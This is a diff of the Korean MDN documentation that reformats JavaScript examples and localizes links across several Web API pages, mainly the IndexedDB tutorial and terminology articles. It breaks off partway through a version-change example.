@@ -10,7 +10,7 @@ slug: Web/API/ImageCapture/track
 ## 구문
 
 ```js
-const mediaStreamTrack = imageCaptureObj.track
+const mediaStreamTrack = imageCaptureObj.track;
 ```
 
 ### 값
diff --git a/files/ko/web/api/imagedata/index.md b/files/ko/web/api/imagedata/index.md
index 18c1ecf33e82a2..652c67d0dce14f 100644
--- a/files/ko/web/api/imagedata/index.md
+++ b/files/ko/web/api/imagedata/index.md
@@ -2,6 +2,7 @@
 title: ImageData
 slug: Web/API/ImageData
 ---
+
 {{APIRef("Canvas API")}}
 
 **`ImageData`** 인터페이스는 {{HTMLElement("canvas")}} 엘리먼트 영역의 기저의 픽셀데이터를 나타냅니다{{domxref("ImageData.ImageData", "ImageData()")}}생성자나 canvas객체에 연결된 {{domxref("CanvasRenderingContext2D")}}객체의 {{domxref("CanvasRenderingContext2D.createImageData", "createImageData()")}}나 {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}}메소드로 생성할 수 있습니다. **ImageData**는 {{domxref("CanvasRenderingContext2D.putImageData", "putImageData()")}}의 인자로 전달할 수 있으며, 이를 통해 canvas의 일부로 반영할 수 있습니다.
diff --git a/files/ko/web/api/index.md b/files/ko/web/api/index.md
index 7cb0eb87bf1083..a36f9aa434470f 100644
--- a/files/ko/web/api/index.md
+++ b/files/ko/web/api/index.md
@@ -2,6 +2,7 @@
 title: Web API
 slug: Web/API
 ---
+
 웹 코드를 작성한다면 많은 API를 사용할 수 있습니다. 아래 목록은 웹 앱이나 웹 사이트를 만들 때 사용할 수 있는 모든 인터페이스(객체의 유형)입니다.
 
 Web API는 보통 JavaScript와 함께 사용하지만, 항상 그렇지는 않습니다.
diff --git a/files/ko/web/api/indexeddb_api/basic_terminology/index.md b/files/ko/web/api/indexeddb_api/basic_terminology/index.md
index 15aa9defe57ff2..3ad9b619485769 100644
--- a/files/ko/web/api/indexeddb_api/basic_terminology/index.md
+++ b/files/ko/web/api/indexeddb_api/basic_terminology/index.md
@@ -33,7 +33,7 @@ IndexedDB는 "키"로 인덱싱된 객체를 저장하고 검색할 수 있습
 - **IndexedDB는 결과를 사용할 수 있을 때 DOM 이벤트를 통해 통지합니다.** DOM 이벤트는 항상 `type` 프로퍼티를 가집니다 (IndexedDB에서는 거의 대부분 `"success"` 또는 `"error"`로 설정됩니다.). DOM 이벤트는 이벤트가 향하는 곳이 어디인지를 나타내는 `target` 프로퍼티도 가집니다. 대부분의 경우에, 이벤트의 `target` 프로퍼티는 데이터베이스 동작의 결과로 생성된 `IDBRequest` 객체를 가리킵니다. 성공 이벤트는 버블링을 일으키지 않으며, 취소될 수 없습니다. 에러 이벤트는 반대로 버블링을 일으키고, 취소될 수도 있습니다. 에러 이벤트는 취소되지 않는 한 실행 중인 모든 트랜잭션을 중단하므로 이는 매우 중요합니다.
 - **IndexedDB는 객체지향적입니다.** IndexedDB는 행과 열의 컬렉션으로 대표되는 테이블을 사용하는 관계형 데이터베이스가 아닙니다. 이는 어플리케이션을 설계하고 구축하는 방식에 영향을 끼치는 중요하고 근본적인 차이입니다.
 
-    전통적인 관계형 데이터 저장소에서는 데이터 행의 컬렉션과 명명된 자료형의 데이터 열을 저장하는 테이블을 갖습니다. 반면에 IndexedDB는 특정 타입의 데이터를 저장할 객체 저장소를 생성하고, 자바스크립트 객체를 저장소에 저장합니다. 각 객체 저장소는 쿼리와 순회를 효율적으로 만들어주는 인덱스 컬렉션을 갖습니다. 만약 객체지향 데이터베이스 관리 시스템에 친숙하지 않다면, [객체지향 데이터베이스에 대한 Wikipedia 문서](https://en.wikipedia.org/wiki/Object_database)를 읽어보세요.
+  전통적인 관계형 데이터 저장소에서는 데이터 행의 컬렉션과 명명된 자료형의 데이터 열을 저장하는 테이블을 갖습니다. 반면에 IndexedDB는 특정 타입의 데이터를 저장할 객체 저장소를 생성하고, 자바스크립트 객체를 저장소에 저장합니다. 각 객체 저장소는 쿼리와 순회를 효율적으로 만들어주는 인덱스 컬렉션을 갖습니다. 만약 객체지향 데이터베이스 관리 시스템에 친숙하지 않다면, [객체지향 데이터베이스에 대한 Wikipedia 문서](https://en.wikipedia.org/wiki/Object_database)를 읽어보세요.
 
 - **IndexedDB does not use Structured Query Language (SQL).** It uses queries on an index that produces a cursor, which you use to iterate across the result set. If you are not familiar with NoSQL systems, read the [Wikipedia article on NoSQL](https://en.wikipedia.org/wiki/NoSQL).
 - **IndexedDB adheres to a same-origin policy**. An origin is the domain, application layer protocol, and port of a URL of the document where the script is being executed. Each origin has its own associated set of databases. Every database has a name that identifies it within an origin.
@@ -46,7 +46,7 @@ IndexedDB는 "키"로 인덱싱된 객체를 저장하고 검색할 수 있습
 
 IndexedDB is designed to cover most cases that need client-side storage. However, it is not designed for a few cases like the following:
 
-- Internationalized sorting. Not all languages sort strings in the same way, so internationalized sorting is not supported. While the database can't store data in a specific internationalized order, you can sort the data that you've read out of the database yourself. Note, however, that [locale-aware sorting](/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#locale-aware_sorting) has been allowed with an experimental flag enabled (currently for Firefox only) since Firefox 43.
+- Internationalized sorting. Not all languages sort strings in the same way, so internationalized sorting is not supported. While the database can't store data in a specific internationalized order, you can sort the data that you've read out of the database yourself. Note, however, that [locale-aware sorting](/ko/docs/Web/API/IndexedDB_API/Using_IndexedDB#locale-aware_sorting) has been allowed with an experimental flag enabled (currently for Firefox only) since Firefox 43.
 - Synchronizing. The API is not designed to take care of synchronizing with a server-side database. You have to write code that synchronizes a client-side indexedDB database with a server-side database.
 - Full text searching. The API does not have an equivalent of the `LIKE` operator in SQL.
 
@@ -91,7 +91,7 @@ An index is a specialized object store for looking up records in another object
 
 Alternatively, you can also look up records in an object store using the [key](#key).
 
-To learn more on using indexes, see [Using IndexedDB](/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#using_an_index). For the reference documentation on index, see [IDBKeyRange](/en-US/docs/Web/API/IDBKeyRange).
+To learn more on using indexes, see [Using IndexedDB](/ko/docs/Web/API/IndexedDB_API/Using_IndexedDB#using_an_index). For the reference documentation on index, see [IDBKeyRange](/ko/docs/Web/API/IDBKeyRange).
 
 #### object store
 
@@ -113,7 +113,7 @@ A database connection can have several active transactions associated with it at
 
 Transactions are expected to be short-lived, so the browser can terminate a transaction that takes too long, in order to free up storage resources that the long-running transaction has locked. You can abort the transaction, which rolls back the changes made to the database in the transaction. And you don't even have to wait for the transaction to start or be active to abort it.
 
-The three modes of transactions are: `readwrite`, `readonly`, and `versionchange`. The only way to create and delete object stores and indexes is by using a [`versionchange`](/en-US/docs/Web/API/IDBDatabase/versionchange_event) transaction. To learn more about transaction types, see the reference article for [IndexedDB](/en-US/docs/Web/API/IndexedDB_API).
+The three modes of transactions are: `readwrite`, `readonly`, and `versionchange`. The only way to create and delete object stores and indexes is by using a [`versionchange`](/ko/docs/Web/API/IDBDatabase/versionchange_event) transaction. To learn more about transaction types, see the reference article for [IndexedDB](/ko/docs/Web/API/IndexedDB_API).
 
 Because everything happens within a transaction, it is a very important concept in IndexedDB. To learn more about transactions, especially on how they relate to versioning, see {{domxref("IDBTransaction")}}, which also has reference documentation.
 
@@ -131,7 +131,7 @@ A key that is stored as part of the stored value. It is found using a _key path_
 
 A data value by which stored values are organized and retrieved in the object store. The object store can derive the key from one of three sources: a _[key generator](#key_generator)_, a _[key path](#key_path)_, or an explicitly specified value. The key must be of a data type that has a number that is greater than the one before it. Each record in an object store must have a key that is unique within the same store, so you cannot have multiple records with the same key in a given object store.
 
-A key can be one of the following types: [string](/en-US/docs/Web/JavaScript/Reference/Global_Objects/String), [date](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date), float, a binary blob, and [array](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array). For arrays, the key can range from an empty value to infinity. And you can include an array within an array.
+A key can be one of the following types: [string](/ko/docs/Web/JavaScript/Reference/Global_Objects/String), [date](/ko/docs/Web/JavaScript/Reference/Global_Objects/Date), float, a binary blob, and [array](/ko/docs/Web/JavaScript/Reference/Global_Objects/Array). For arrays, the key can range from an empty value to infinity. And you can include an array within an array.
 
 Alternatively, you can also look up records in an object store using the _[index](#index)._
 
@@ -149,11 +149,11 @@ A key that is stored separately from the value being stored.
 
 #### value
 
-Each record has a value, which could include anything that can be expressed in JavaScript, including [boolean](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean), [number](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number), [string](/en-US/docs/Web/JavaScript/Reference/Global_Objects/String), [date](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date), [object](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object), [array](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array), [regexp](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp), [undefined](/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined), and null.
+Each record has a value, which could include anything that can be expressed in JavaScript, including [boolean](/ko/docs/Web/JavaScript/Reference/Global_Objects/Boolean), [number](/ko/docs/Web/JavaScript/Reference/Global_Objects/Number), [string](/ko/docs/Web/JavaScript/Reference/Global_Objects/String), [date](/ko/docs/Web/JavaScript/Reference/Global_Objects/Date), [object](/ko/docs/Web/JavaScript/Reference/Global_Objects/Object), [array](/ko/docs/Web/JavaScript/Reference/Global_Objects/Array), [regexp](/ko/docs/Web/JavaScript/Reference/Global_Objects/RegExp), [undefined](/ko/docs/Web/JavaScript/Reference/Global_Objects/undefined), and null.
 
 When an object or array is stored, the properties and values in that object or array can also be anything that is a valid value.
 
-[Blobs](/en-US/docs/Web/API/Blob) and files can be stored, cf. [specification](https://w3c.github.io/IndexedDB/).
+[Blobs](/ko/docs/Web/API/Blob) and files can be stored, cf. [specification](https://w3c.github.io/IndexedDB/).
 
 ### Range and scope
 
@@ -173,11 +173,11 @@ The set of object stores and indexes to which a transaction applies. The scopes
 
 ## Next steps
 
-With an understanding of IndexedDB's key characteristics and core terminology under our belts, we can get to more concrete stuff. For a tutorial on how to use the API, see [Using IndexedDB](/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB).
+With an understanding of IndexedDB's key characteristics and core terminology under our belts, we can get to more concrete stuff. For a tutorial on how to use the API, see [Using IndexedDB](/ko/docs/Web/API/IndexedDB_API/Using_IndexedDB).
 
 ## See also
 
 - [Indexed Database API Specification](https://www.w3.org/TR/IndexedDB/)
-- [IndexedDB API Reference](/en-US/docs/Web/API/IndexedDB_API)
-- [Using IndexedDB](/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB)
+- [IndexedDB API Reference](/ko/docs/Web/API/IndexedDB_API)
+- [Using IndexedDB](/ko/docs/Web/API/IndexedDB_API/Using_IndexedDB)
 - [IndexedDB — The Store in Your Browser](<https://docs.microsoft.com/previous-versions/msdn10/gg679063(v=msdn.10)>)
diff --git a/files/ko/web/api/indexeddb_api/checking_when_a_deadline_is_due/index.md b/files/ko/web/api/indexeddb_api/checking_when_a_deadline_is_due/index.md
index 35170284b3d2bd..4c7d578b61b0f5 100644
--- a/files/ko/web/api/indexeddb_api/checking_when_a_deadline_is_due/index.md
+++ b/files/ko/web/api/indexeddb_api/checking_when_a_deadline_is_due/index.md
@@ -59,7 +59,7 @@ function addData(e) {
     // 읽기/쓰기 DB 트랜잭션을 열고, 데이터를 추가할 준비를 합니다.
     const transaction = db.transaction(["toDoList"], "readwrite");
 
-    // 트랜잭션 열기 성공 여부에 대한 보고입니다. 
+    // 트랜잭션 열기 성공 여부에 대한 보고입니다.
     transaction.oncomplete = (event) => {
       note.innerHTML += '<li>데이터 추가를 위한 트랜잭션을 열었습니다..</li>';
     };
@@ -181,10 +181,10 @@ if (
     // 우리는 이제 이 데이터 객체에서 notified 값을 "yes"로 변경해야 합니다.
     // 이렇게 하면 알림이 다시 설정되지 않습니다.
 
-    // 처음에는 일반적인 방식으로 트랜잭션을 엽니다. 
+    // 처음에는 일반적인 방식으로 트랜잭션을 엽니다.
     const objectStore = db.transaction(['toDoList'], "readwrite").objectStore('toDoList');
 
-    // 이 제목을 통해 이 제목을 갖고 있는 to-do 리스트 객체를 가져옵니다. 
+    // 이 제목을 통해 이 제목을 갖고 있는 to-do 리스트 객체를 가져옵니다.
     const request = objectStore.get(title);
 
     request.onsuccess = () => {
diff --git a/files/ko/web/api/indexeddb_api/using_indexeddb/index.md b/files/ko/web/api/indexeddb_api/using_indexeddb/index.md
index 66b9925559c05b..9925e9f2475afe 100644
--- a/files/ko/web/api/indexeddb_api/using_indexeddb/index.md
+++ b/files/ko/web/api/indexeddb_api/using_indexeddb/index.md
@@ -9,9 +9,9 @@ IndexedDB는 사용자의 브라우저에 데이터를 영구적으로 저장할
 
 ## 이 문서에 대하여
 
-여러분은 이 튜토리얼에서 IndexedDB의 비동기 방식(asynchronous) API에 대해 훑어볼 수 있습니다. 만약 IndexedDB가 생소하다면, [IndexedDB key characteristics and basic terminology](/en-US/docs/Web/API/IndexedDB_API/Basic_Terminology) 를 먼저 읽어보는 것이 좋습니다.
+여러분은 이 튜토리얼에서 IndexedDB의 비동기 방식(asynchronous) API에 대해 훑어볼 수 있습니다. 만약 IndexedDB가 생소하다면, [IndexedDB key characteristics and basic terminology](/ko/docs/Web/API/IndexedDB_API/Basic_Terminology) 를 먼저 읽어보는 것이 좋습니다.
 
-IndexedDB API에 대한 참조(reference) 문서를 원한다면, [IndexedDB API](/en-US/docs/Web/API/IndexedDB_API) 항목과 하위 페이지를 보십시오. 이 문서에서는 IndexedDB에서 사용되는 객체의 종류와, 동기식(synchrounous), 비동기식(asynchronous) API에 대해서 기술하고 있습니다.
+IndexedDB API에 대한 참조(reference) 문서를 원한다면, [IndexedDB API](/ko/docs/Web/API/IndexedDB_API) 항목과 하위 페이지를 보십시오. 이 문서에서는 IndexedDB에서 사용되는 객체의 종류와, 동기식(synchrounous), 비동기식(asynchronous) API에 대해서 기술하고 있습니다.
 
 ## 기본 패턴
 
@@ -33,11 +33,19 @@ IndexedDB가 권장하는 기본 패턴은 다음과 같습니다:
 
 ```js
 // In the following line, you should include the prefixes of implementations you want to test.
-window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+window.indexedDB =
+  window.indexedDB ||
+  window.mozIndexedDB ||
+  window.webkitIndexedDB ||
+  window.msIndexedDB;
 // DON'T use "var indexedDB = ..." if you're not in a function.
 // Moreover, you may need references to some window.IDB* objects:
-window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
-window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange
+window.IDBTransaction =
+  window.IDBTransaction ||
+  window.webkitIDBTransaction ||
+  window.msIDBTransaction;
+window.IDBKeyRange =
+  window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange;
 // (Mozilla has never prefixed these objects, so we don't need window.mozIDB*)
 ```
 
@@ -45,7 +53,9 @@ window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.ms
 
 ```js
 if (!window.indexedDB) {
-    window.alert("Your browser doesn't support a stable version of IndexedDB. Such and such feature will not be available.")
+  window.alert(
+    "Your browser doesn't support a stable version of IndexedDB. Such and such feature will not be available.",
+  );
 }
 ```
 
@@ -60,7 +70,7 @@ var request = window.indexedDB.open("MyTestDatabase");
 
 보셨나요? 데이터베이스 접속은 다른 operation 들과 비슷합니다 — 당신은 "요청(request)" 하면 됩니다.
 
-open 요청은 데이터베이스를 즉시 열거나 즉시 트랜잭션을 시작하지 않습니다. `open()` 함수를 호출하면 이벤트로 처리한 결과(성공 상태)나 오류 값이 있는 [`IDBOpenDBRequest`](/ko/docs/IndexedDB/IDBOpenDBRequest) 객체를 반환합니다. IndexedDB의 다른 비동기 함수 대부분은 결과 또는 오류가 있는 [`IDBRequest`](/ko/docs/IndexedDB/IDBRequest) 객체를 반환합니다. `open()` 함수의 결과는 [`IDBDatabase`](/en-US/docs/IndexedDB/IDBDatabase) 의 인스턴스입니다.
+open 요청은 데이터베이스를 즉시 열거나 즉시 트랜잭션을 시작하지 않습니다. `open()` 함수를 호출하면 이벤트로 처리한 결과(성공 상태)나 오류 값이 있는 [`IDBOpenDBRequest`](/ko/docs/IndexedDB/IDBOpenDBRequest) 객체를 반환합니다. IndexedDB의 다른 비동기 함수 대부분은 결과 또는 오류가 있는 [`IDBRequest`](/ko/docs/IndexedDB/IDBRequest) 객체를 반환합니다. `open()` 함수의 결과는 [`IDBDatabase`](/ko/docs/IndexedDB/IDBDatabase) 의 인스턴스입니다.
 
 open 메소드의 두번째 매개 변수는 데이터베이스의 버전입니다. 데이터베이스의 버전은 데이터베이스 스키마를 결정합니다. 데이터베이스 스키마는 데이터베이스 안의 객체 저장소와 그것들의 구조를 결정합니다. 데이터베이스가 아직 존재하지 않으면, open operation에 의해 생성되고, 그 다음 `onupgradeneeded` 이벤트가 트리거되고 이 이벤트 안에서 데이터베이스 스키마를 작성합니다. 데이터베이스가 존재하지만 업그레이드 된 버전 번호를 지정하는 경우 `onupgradeneeded` 이벤트가 트리거되고 해당 핸들러에 업데이트된 스키마를 제공할 수 있습니다. 자세한 내용은 나중에 아래의 [데이터베이스의 버전 업데이트](#데이터베이스의_버전_생성_또는_업데이트)와 {{ domxref("IDBFactory.open") }} 페이지를 참조하십시오.
 
@@ -72,10 +82,10 @@ open 메소드의 두번째 매개 변수는 데이터베이스의 버전입니
 첫번째로 당신이 하려는 모든 요청에 대해 성공했을 때 그리고 에러가 발생했을 때 제어를 할 객체를 요청해야 됩니다:
 
 ```js
-request.onerror = function(event) {
+request.onerror = function (event) {
   // request.errorCode 에 대해 무언가를 한다!
 };
-request.onsuccess = function(event) {
+request.onsuccess = function (event) {
   // request.result 에 대해 무언가를 한다!
 };
 ```
@@ -91,10 +101,10 @@ The IndexedDB API는 오류 처리의 필요성을 최소화하도록 설계되
 ```js
 var db;
 var request = indexedDB.open("MyTestDatabase");
-request.onerror = function(event) {
+request.onerror = function (event) {
   alert("Why didn't you allow my web app to use IndexedDB?!");
 };
-request.onsuccess = function(event) {
+request.onsuccess = function (event) {
   db = request.result;
 };
 ```
@@ -104,7 +114,7 @@ request.onsuccess = function(event) {
 위에서 언급한 바와 같이, 오류 이벤트는 버블링됩니다. 오류 이벤트는 오류를 생성한 request를 대상으로하며, 이벤트는 트랜잭션으로 버블링되고, 마지막으로 데이터베이스 객체로 버블링됩니다. 모든 요청에 에러 처리를 피하고 싶은 경우, 아래와 같이 하나의 오류 핸들러를 데이터베이스 객체에 추가하여 대신할 수 있습니다:
 
 ```js
-db.onerror = function(event) {
+db.onerror = function (event) {
   // Generic error handler for all errors targeted at this database's
   // requests!
   alert("Database error: " + event.target.errorCode);
@@ -119,7 +129,7 @@ db.onerror = function(event) {
 
 ```js
 // This event is only implemented in recent browsers
-request.onupgradeneeded = function(event) {
+request.onupgradeneeded = function (event) {
   // Save the IDBDatabase interface
   var db = event.target.result;
 
@@ -136,7 +146,7 @@ request.onupgradeneeded = function(event) {
 
 ### 데이터베이스 구성
 
-이제 데이터베이스를 구축합니다. IndexedDB는 테이블이 아닌 객체 저장소를 사용하며 하나의 데이터베이스는 여러 개의 객체 저장소를 포함할 수 있습니다. 값을 객체 저장소에 저장할 때마다 값은 키와 연관됩니다. 객체 저장소가 [키 경로](/en-US/docs/Web/API/IndexedDB_API/Basic_Terminology#key_path) 또는 [키 생성기](/en-US/docs/Web/API/IndexedDB_API/Basic_Terminology#key_generator) 옵션의 사용 여부에 따라 키를 제공할 수 있는 여러 가지 방법이 있습니다.
+이제 데이터베이스를 구축합니다. IndexedDB는 테이블이 아닌 객체 저장소를 사용하며 하나의 데이터베이스는 여러 개의 객체 저장소를 포함할 수 있습니다. 값을 객체 저장소에 저장할 때마다 값은 키와 연관됩니다. 객체 저장소가 [키 경로](/ko/docs/Web/API/IndexedDB_API/Basic_Terminology#key_path) 또는 [키 생성기](/ko/docs/Web/API/IndexedDB_API/Basic_Terminology#key_generator) 옵션의 사용 여부에 따라 키를 제공할 수 있는 여러 가지 방법이 있습니다.
 
 다음 표는 키가 제공되는 다양한 방법을 보여줍니다:
 
@@ -157,7 +167,7 @@ request.onupgradeneeded = function(event) {
 // This is what our customer data looks like.
 const customerData = [
   { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
-  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
+  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" },
 ];
 ```
 
@@ -170,10 +180,10 @@ const dbName = "the_name";
 
 var request = indexedDB.open(dbName, 2);
 
-request.onerror = function(event) {
+request.onerror = function (event) {
   // Handle errors.
 };
-request.onupgradeneeded = function(event) {
+request.onupgradeneeded = function (event) {
   var db = event.target.result;
 
   // Create an objectStore to hold information about our customers. We're
@@ -191,10 +201,12 @@ request.onupgradeneeded = function(event) {
 
   // Use transaction oncomplete to make sure the objectStore creation is
   // finished before adding data into it.
-  objectStore.transaction.oncomplete = function(event) {
+  objectStore.transaction.oncomplete = function (event) {
     // Store values in the newly created objectStore.
-    var customerObjectStore = db.transaction("customers", "readwrite").objectStore("customers");
-    customerData.forEach(function(customer) {
+    var customerObjectStore = db
+      .transaction("customers", "readwrite")
+      .objectStore("customers");
+    customerData.forEach(function (customer) {
       customerObjectStore.add(customer);
     });
   };
@@ -222,19 +234,18 @@ request.onupgradeneeded = function(event) {
 var request = indexedDB.open(dbName, 3);
 
 request.onupgradeneeded = function (event) {
+  var db = event.target.result;
 
-    var db = event.target.result;
-
-    // Create another object store called "names" with the autoIncrement flag set as true.
-    var objStore = db.createObjectStore("names", { autoIncrement : true });
+  // Create another object store called "names" with the autoIncrement flag set as true.
+  var objStore = db.createObjectStore("names", { autoIncrement: true });
 
-    // Because the "names" object store has the key generator, the key for the name value is generated automatically.
-    // The added records would be like:
-    // key : 1 => value : "Bill"
-    // key : 2 => value : "Donna"
-    customerData.forEach(function(customer) {
-        objStore.add(customer.name);
-    });
+  // Because the "names" object store has the key generator, the key for the name value is generated automatically.
+  // The added records would be like:
+  // key : 1 => value : "Bill"
+  // key : 2 => value : "Donna"
+  customerData.forEach(function (customer) {
+    objStore.add(customer.name);
+  });
 };
 ```
 
@@ -276,18 +287,18 @@ var transaction = db.transaction(["customers"], "readwrite");
 
 ```js
 // Do something when all the data is added to the database.
-transaction.oncomplete = function(event) {
+transaction.oncomplete = function (event) {
   alert("All done!");
 };
 
-transaction.onerror = function(event) {
+transaction.onerror = function (event) {
   // Don't forget to handle errors!
 };
 
 var objectStore = transaction.objectStore("customers");
 for (var i in customerData) {
   var request = objectStore.add(customerData[i]);
-  request.onsuccess = function(event) {
+  request.onsuccess = function (event) {
     // event.target.result == customerData[i].ssn
   };
 }
@@ -300,10 +311,11 @@ for (var i in customerData) {
 데이터 삭제는 아주 익숙한 그 방식대로 하시면 됩니다:
 
 ```js
-var request = db.transaction(["customers"], "readwrite")
-                .objectStore("customers")
-                .delete("444-44-4444");
-request.onsuccess = function(event) {
+var request = db
+  .transaction(["customers"], "readwrite")
+  .objectStore("customers")
+  .delete("444-44-4444");
+request.onsuccess = function (event) {
   // It's gone!
 };
 ```
@@ -316,10 +328,10 @@ request.onsuccess = function(event) {
 var transaction = db.transaction(["customers"]);
 var objectStore = transaction.objectStore("customers");
 var request = objectStore.get("444-44-4444");
-request.onerror = function(event) {
+request.onerror = function (event) {
   // Handle errors!
 };
-request.onsuccess = function(event) {
+request.onsuccess = function (event) {
   // Do something with the request.result!
   alert("Name for SSN 444-44-4444 is " + request.result.name);
 };
@@ -328,7 +340,10 @@ request.onsuccess = function(event) {
 "단순히" 가져오는 것 치고는 코드가 좀 많군요. 당신이 데이터베이스 수준에서 에러를 제어하고 있다면, 아래와 같이 간략화할 수도 있습니다:
 
 ```js
-db.transaction("customers").objectStore("customers").get("444-44-4444").onsuccess = function(event) {
+db
+  .transaction("customers")
+  .objectStore("customers")
+  .get("444-44-4444").onsuccess = function (event) {
   alert("Name for SSN 444-44-4444 is " + event.target.result.name);
 };
 ```
@@ -345,12 +360,14 @@ db.transaction("customers").objectStore("customers").get("444-44-4444").onsucces
 이제 우리는 몇 개의 데이터를 꺼냈습니다. 이 데이터를 업데이트하고 다시 IndexedDB에 집어넣는 것은 매우 간단합니다. 이전 예제를 약간 업데이트해 봅시다:
 
 ```js
-var objectStore = db.transaction(["customers"], "readwrite").objectStore("customers");
+var objectStore = db
+  .transaction(["customers"], "readwrite")
+  .objectStore("customers");
 var request = objectStore.get("444-44-4444");
-request.onerror = function(event) {
+request.onerror = function (event) {
   // Handle errors!
 };
-request.onsuccess = function(event) {
+request.onsuccess = function (event) {
   // Get the old value that we want to update
   var data = event.target.result;
 
@@ -359,12 +376,12 @@ request.onsuccess = function(event) {
 
   // Put this updated object back into the database.
   var requestUpdate = objectStore.put(data);
-   requestUpdate.onerror = function(event) {
-     // Do something with the error
-   };
-   requestUpdate.onsuccess = function(event) {
-     // Success - the data is updated!
-   };
+  requestUpdate.onerror = function (event) {
+    // Do something with the error
+  };
+  requestUpdate.onsuccess = function (event) {
+    // Success - the data is updated!
+  };
 };
 ```
 
@@ -379,13 +396,12 @@ request.onsuccess = function(event) {
 ```js
 var objectStore = db.transaction("customers").objectStore("customers");
 
-objectStore.openCursor().onsuccess = function(event) {
+objectStore.openCursor().onsuccess = function (event) {
   var cursor = event.target.result;
   if (cursor) {
     alert("Name for SSN " + cursor.key + " is " + cursor.value.name);
     cursor.continue();
-  }
-  else {
+  } else {
     alert("No more entries!");
   }
 };
@@ -398,13 +414,12 @@ objectStore.openCursor().onsuccess = function(event) {
 ```js
 var customers = [];
 
-objectStore.openCursor().onsuccess = function(event) {
+objectStore.openCursor().onsuccess = function (event) {
   var cursor = event.target.result;
   if (cursor) {
     customers.push(cursor.value);
     cursor.continue();
-  }
-  else {
+  } else {
     alert("Got all customers: " + customers);
   }
 };
@@ -423,7 +438,7 @@ objectStore.openCursor().onsuccess = function(event) {
 
 var index = objectStore.index("name");
 
-index.get("Donna").onsuccess = function(event) {
+index.get("Donna").onsuccess = function (event) {
   alert("Donna's SSN is " + event.target.result.ssn);
 };
 ```
@@ -433,18 +448,25 @@ index.get("Donna").onsuccess = function(event) {
 특정 `name`값을 가진 모든 항목에 액세스해야 하는 경우 cursor를 사용할 수 있습니다. 인덱스들 마다 두 가지 다른 종류의 cursor를 열 수 있습니다. 일반적인 커서는 인덱스 속성을 객체 저장소의 객체에 매핑합니다. 그리고 키 커서는 객체를 객체 저장소에 저장하기 위해 사용된 키에 인덱스를 매핑합니다. 이러한 차이점은 다음과 같습니다.:
 
 ```js
-// 일반적인 커서를 사용해서 고객 레코드 전체를 가져오기 
-index.openCursor().onsuccess = function(event) {
+// 일반적인 커서를 사용해서 고객 레코드 전체를 가져오기
+index.openCursor().onsuccess = function (event) {
   var cursor = event.target.result;
   if (cursor) {
     // cursor.key는 "Bill"과 같은 이름이며, cursor.value는 객체 전체를 의미합니다.
-    alert("Name: " + cursor.key + ", SSN: " + cursor.value.ssn + ", email: " + cursor.value.email);
+    alert(
+      "Name: " +
+        cursor.key +
+        ", SSN: " +
+        cursor.value.ssn +
+        ", email: " +
+        cursor.value.email,
+    );
     cursor.continue();
   }
 };
 
 // 키 커서를 사용해서 고객 레코드 객체 키를 가져오기
-index.openKeyCursor().onsuccess = function(event) {
+index.openKeyCursor().onsuccess = function (event) {
   var cursor = event.target.result;
   if (cursor) {
     // cursor.key는 "Bill"과 같은 이름이며, cursor.value는 사회보장번호(SSN)입니다.
@@ -476,7 +498,7 @@ var upperBoundOpenKeyRange = IDBKeyRange.upperBound("Donna", true);
 var boundKeyRange = IDBKeyRange.bound("Bill", "Donna", false, true);
 
 // 위 키 범위 중 하나를 사용하려면, openCursor()/openKeyCursor()에 첫 번째 인자로 넘겨주세요.
-index.openCursor(boundKeyRange).onsuccess = function(event) {
+index.openCursor(boundKeyRange).onsuccess = function (event) {
   var cursor = event.target.result;
   if (cursor) {
     // 조회된 값으로 무언가 수행한다.
@@ -488,7 +510,7 @@ index.openCursor(boundKeyRange).onsuccess = function(event) {
 Sometimes you may want to iterate in descending order rather than in ascending order (the default direction for all cursors). Switching direction is accomplished by passing `prev` to the `openCursor()` function:
 
 ```js
-objectStore.openCursor(boundKeyRange, "prev").onsuccess = function(event) {
+objectStore.openCursor(boundKeyRange, "prev").onsuccess = function (event) {
   var cursor = event.target.result;
   if (cursor) {
     // Do something with the entries.
@@ -500,7 +522,7 @@ objectStore.openCursor(boundKeyRange, "prev").onsuccess = function(event) {
 If you just want to specify a change of direction but not constrain the results shown, you can just pass in null as the first argument:
 
 ```js
-objectStore.openCursor(null, "prev").onsuccess = function(event) {
+objectStore.openCursor(null, "prev").onsuccess = function (event) {
   var cursor = event.target.result;
   if (cursor) {
     // Do something with the entries.
@@ -512,7 +534,7 @@ objectStore.openCursor(null, "prev").onsuccess = function(event) {
 Since the "name" index isn't unique, there might be multiple entries where `name` is the same. Note that such a situation cannot occur with object stores since the key must always be unique. If you wish to filter out duplicates during cursor iteration over indexes, you can pass `nextunique` (or `prevunique` if you're going backwards) as the direction parameter. When `nextunique` or `prevunique` is used, the entry with the lowest key is always the one returned.
 
 ```js
-index.openKeyCursor(null, "nextunique").onsuccess = function(event) {
+index.openKeyCursor(null, "nextunique").onsuccess = function (event) {
   var cursor = event.target.result;
   if (cursor) {
     // Do something with the entries.
@@ -530,29 +552,29 @@ When your web app changes in such a way that a version change is required for yo
 ```js
 var openReq = mozIndexedDB.open("MyTestDatabase", 2);
 
-openReq.onblocked = function(event) {
+openReq.onblocked = function (event) {
   // If some other tab is loaded with the database, then it needs to be closed
   // before we can proceed.
   alert("Please close all other tabs with this site open!");
 };
 
